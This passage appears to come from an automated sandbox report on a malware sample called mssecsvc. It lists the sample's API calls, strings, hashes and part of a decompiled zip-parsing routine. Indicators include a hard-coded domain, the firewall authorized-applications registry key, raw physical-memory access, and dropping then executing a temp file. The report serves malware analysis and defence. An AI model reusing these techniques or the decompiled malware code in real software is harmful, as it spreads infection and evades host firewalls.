b941f6-b94207 GetTickCount 1132->1135 1133->1109 1134 b9421a-b9421c 1133->1134 1136 b9421e-b94236 1134->1136 1135->1133 1137 b94209 1135->1137 1138 b94238 1136->1138 1139 b9423b-b94243 1136->1139 1137->1133 1138->1139 1139->1136 1140 b94245 1139->1140 1141 b9424b-b9424f 1140->1141 1142 b94261-b94263 1141->1142 1143 b94251-b94258 call b92f08 1141->1143 1144 b94265-b9426f 1142->1144 1143->1109 1149 b9425a 1143->1149 1146 b94274-b94282 call b96541 call b9655b 1144->1146 1146->1130 1154 b94288-b94292 Sleep 1146->1154 1149->1144 1151 b9425c-b9425f 1149->1151 1151->1141 1154->1146 1155 b94294-b942a5 GetTickCount 1154->1155 1155->1130 1156 b942ab-b942b2 1155->1156 1156->1109 1156->1130
                      APIs
                      • GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                      • GetTickCount.KERNEL32 ref: 00B93D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B96EF6,00000000,00000000,00000000,00000000), ref: 00B93E65
                      • GetModuleFileNameA.KERNEL32(00000000,00B96AA2,000000C8), ref: 00B93EE2
                      • CreateThread.KERNEL32(00000000,00000000,00B93691,00000000,00000000), ref: 00B93F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 00B93F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B93FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00B93FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B93FFF
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B940FB
                      • SetEvent.KERNEL32(?,?,00000000), ref: 00B942D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 00B942F7
                      • ResetEvent.KERNEL32(?,?,00000000), ref: 00B9430A
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEvent$CloseHandleThread$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolume
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 1484325168-2287716718
                      • Opcode ID: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                      • Instruction ID: f680fbca08bc1336e804d03f005211dc4792c8a6f2568d4fae020b89613d8cc1
                      • Opcode Fuzzy Hash: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                      • Instruction Fuzzy Hash: 91E1FE71918258BFEF25AF648C4ABEA3BECEF41700F0045A9EC499E082D7F45F468765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B94178 Relevance: 13.7, APIs: 9, Instructions: 192sleepstringthreadCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B94057
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B940FB
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B941B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B96AA2,00000000,00000000), ref: 00B941BD
                      • GetTickCount.KERNEL32 ref: 00B941F6
                      • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,00B96AA2,00000000,00000000), ref: 00B9428B
                      • GetTickCount.KERNEL32 ref: 00B94294
                      • SetEvent.KERNEL32(?,?,00000000), ref: 00B942D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 00B942F7
                      • ResetEvent.KERNEL32(?,?,00000000), ref: 00B9430A
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionlstrlen
                      • String ID:
                      • API String ID: 1413472813-0
                      • Opcode ID: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                      • Instruction ID: c37d60f47d86bb3eecc432c95da2ee5c9310acc6d4db4a8cd5fa269faa92a9fa
                      • Opcode Fuzzy Hash: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                      • Instruction Fuzzy Hash: 3271EB71518258BAEF259F34881DBAE7FEDEF42314F0446A8E85A9E081C3F45F42C765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B933E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B9344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B93469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B93493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B934A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 00B934B8
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: \Device\PhysicalMemory
                      • API String ID: 2985292042-2007344781
                      • Opcode ID: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction ID: 8a1b030a29d6ff6369e34e1c161b1177c42ac616d87be63800df4deb6355de34
                      • Opcode Fuzzy Hash: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction Fuzzy Hash: 31818B71500208FFEB248F14CC89AAA3BBCEF48B14F514568ED199B291D7F4AF45CA64
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93405 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B9344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B93469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B93493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B934A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 00B934B8
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: ysic
                      • API String ID: 2985292042-20973071
                      • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction ID: 83c528af91c7e0bf05e58f71dcead99598b4a9ba0ff4ede89f5b3b17820f9002
                      • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction Fuzzy Hash: AD116D70140608BBEB24CF14CC59FAA36BCEF88B04F51452CEA199B290E7F46F148A68
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B924AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcpyW.KERNEL32(?,\BaseNamedObjects\lqstVt), ref: 00B924BA
                      • lstrlenW.KERNEL32(?), ref: 00B924C1
                      • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00B92516
                      Strings
                      • \BaseNamedObjects\lqstVt, xrefs: 00B924B8
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateSectionlstrcpylstrlen
                      • String ID: \BaseNamedObjects\lqstVt
                      • API String ID: 2597515329-1900414526
                      • Opcode ID: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction ID: e3e30e8b306d7f1493c6aeee0717fb7c5c64aef08e5645134504a1139ae8bf3c
                      • Opcode Fuzzy Hash: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction Fuzzy Hash: 6B0181B1781344BAF7309B29CC4BF5B7969DF81B50F508558F608AE1C4DAB89A0483A9
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93F8F Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 224threadlibrarystringCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00B93F83), ref: 00B93F8F
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B93FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00B93FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B93FFF
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B94057
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B940FB
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B941B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B96AA2,00000000,00000000), ref: 00B941BD
                      • GetTickCount.KERNEL32 ref: 00B941F6
                      • RtlExitUserThread.NTDLL(00000000), ref: 00B94322
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadTickUserVersionlstrlen
                      • String ID: ilo.brenz.pl
                      • API String ID: 2802001013-878173267
                      • Opcode ID: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                      • Instruction ID: e1499c7a4c9dfb18f853e2662a19a3ad779620544526f79d38743789921cc4dc
                      • Opcode Fuzzy Hash: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                      • Instruction Fuzzy Hash: 7091B731518248BAEF319F34881DBAA7BADEF46300F0446A8E95A9E181C3F45F46CB65
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93EB5 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 276librarythreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00B93EA9), ref: 00B93EB5
                        • Part of subcall function 00B93ECC: GetProcAddress.KERNEL32(00000000,00B93EC0), ref: 00B93ECD
                        • Part of subcall function 00B93ECC: GetModuleFileNameA.KERNEL32(00000000,00B96AA2,000000C8), ref: 00B93EE2
                        • Part of subcall function 00B93ECC: CreateThread.KERNEL32(00000000,00000000,00B93691,00000000,00000000), ref: 00B93F40
                        • Part of subcall function 00B93ECC: CloseHandle.KERNEL32(?,D8FBBC76), ref: 00B93F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B93FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00B93FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B93FFF
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00B940FB
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleThread$AddressEventFileLibraryLoadModuleNameProcVersion
                      • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 4113580538-621207024
                      • Opcode ID: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                      • Instruction ID: bb5e24d1dd9fef075b998dd97aa8f82625ae5d5d32f963d553afe18280bc9283
                      • Opcode Fuzzy Hash: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                      • Instruction Fuzzy Hash: EFA1EE71418258BFEF219F248C5ABEA7BECEF42300F0445A9E8499E082D3F45F46C7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93ECC Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 265threadlibraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,00B93EC0), ref: 00B93ECD
                      • GetModuleFileNameA.KERNEL32(00000000,00B96AA2,000000C8), ref: 00B93EE2
                      • CreateThread.KERNEL32(00000000,00000000,00B93691,00000000,00000000), ref: 00B93F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 00B93F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B93FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00B93FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B93FFF
                        • Part of subcall function 00B93405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00B9344A
                        • Part of subcall function 00B93405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00B93469
                        • Part of subcall function 00B93405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00B93493
                        • Part of subcall function 00B93405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00B934A0
                        • Part of subcall function 00B93405: UnmapViewOfFile.KERNEL32(?), ref: 00B934B8
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmap
                      • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 3400179232-621207024
                      • Opcode ID: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                      • Instruction ID: 1083ece6e13a7a8e23546d8e0b8bd45fe0739b409a22a6c9ae18efa0d286fac8
                      • Opcode Fuzzy Hash: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                      • Instruction Fuzzy Hash: 75A1DF71518258BFEF219F248C5EBEA7BECEF42300F0446A9E8499E082D3F45F468765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93F60 Relevance: 12.2, APIs: 8, Instructions: 215librarystringthreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00B93F54), ref: 00B93F60
                        • Part of subcall function 00B93F8F: LoadLibraryA.KERNEL32(00B93F83), ref: 00B93F8F
                        • Part of subcall function 00B93F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00B93FE9
                        • Part of subcall function 00B93F8F: CloseHandle.KERNEL32(?,00000000), ref: 00B93FF2
                        • Part of subcall function 00B93F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00B93FFF
                        • Part of subcall function 00B93F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 00B940FB
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00B94057
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00B941B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00B96AA2,00000000,00000000), ref: 00B941BD
                      • GetTickCount.KERNEL32 ref: 00B941F6
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleLibraryLoadThread$CountEventTickVersionlstrlen
                      • String ID:
                      • API String ID: 2925003024-0
                      • Opcode ID: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                      • Instruction ID: 987ff6dac46bd9fd065c36dfeb2bbbd91a942f1947beaaf49b45af3fc6a0b3e4
                      • Opcode Fuzzy Hash: 98c4dc3622c81e610166b3295d4bccfe550f8d2832964dac318e74891848542e
                      • Instruction Fuzzy Hash: 0281DF71518258BFEF219F348859BEA7FECEF42300F0446A9E8599E182C3F45F468762
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B92768 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathA.KERNEL32(00000104), ref: 00B9278C
                        • Part of subcall function 00B927A7: GetTempFileNameA.KERNEL32(?,00B927A3,00000000,?), ref: 00B927A8
                        • Part of subcall function 00B927A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00B927A3,00000000,?), ref: 00B927C3
                        • Part of subcall function 00B927A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00B927A3,00000000,?), ref: 00B927F3
                        • Part of subcall function 00B927A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00B927A3,00000000,?), ref: 00B927FF
                        • Part of subcall function 00B927A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00B927A3), ref: 00B92823
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CreateTemp$CloseHandleNamePathProcessWrite
                      • String ID:
                      • API String ID: 3982275768-0
                      • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction ID: 3c979f55359ea05e8637edfd01210cb8f62386a64cc6d08a36a53dde9f200072
                      • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                      • Instruction Fuzzy Hash: D121FDB1544206BFEB215B20CC8EFFF3A6CEF95B00F000568FA0999082D7B59E0586A6
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B927A7 Relevance: 7.6, APIs: 5, Instructions: 65fileprocessCOMMON
                      Download Yara Rule
                      APIs
                      • GetTempFileNameA.KERNEL32(?,00B927A3,00000000,?), ref: 00B927A8
                      • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00B927A3,00000000,?), ref: 00B927C3
                      • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00B927A3,00000000,?), ref: 00B927F3
                      • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00B927A3,00000000,?), ref: 00B927FF
                      • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00B927A3), ref: 00B92823
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Create$CloseHandleNameProcessTempWrite
                      • String ID:
                      • API String ID: 463619559-0
                      • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction ID: 2db4c990009dd7595c00353e2347a3e3c39d4e7131d57356dcf057fcc475db04
                      • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction Fuzzy Hash: A31180B1500606BBFB254F20DC4EFFF7A6DEF88B10F104529FA0699080DBF59E5196A8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B910CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(0019FF1C), ref: 00B9113D
                      • GetProcAddress.KERNEL32(00000000,00B911D6), ref: 00B91148
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: .DLL
                      • API String ID: 1646373207-899428287
                      • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction ID: 84791d5e26c0aa329e13559ef3f55e38cf348d4f8042eee9febf51cf543a8531
                      • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                      • Instruction Fuzzy Hash: 0E01DB30607012FACF649E2CC8496A93BECFF05341F0049B4EA1A9B155C7708E40A695
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Non-executed Functions

                      Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMONCrypto
                      Download Yara Rule
                      C-Code - Quality: 75%
                      			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
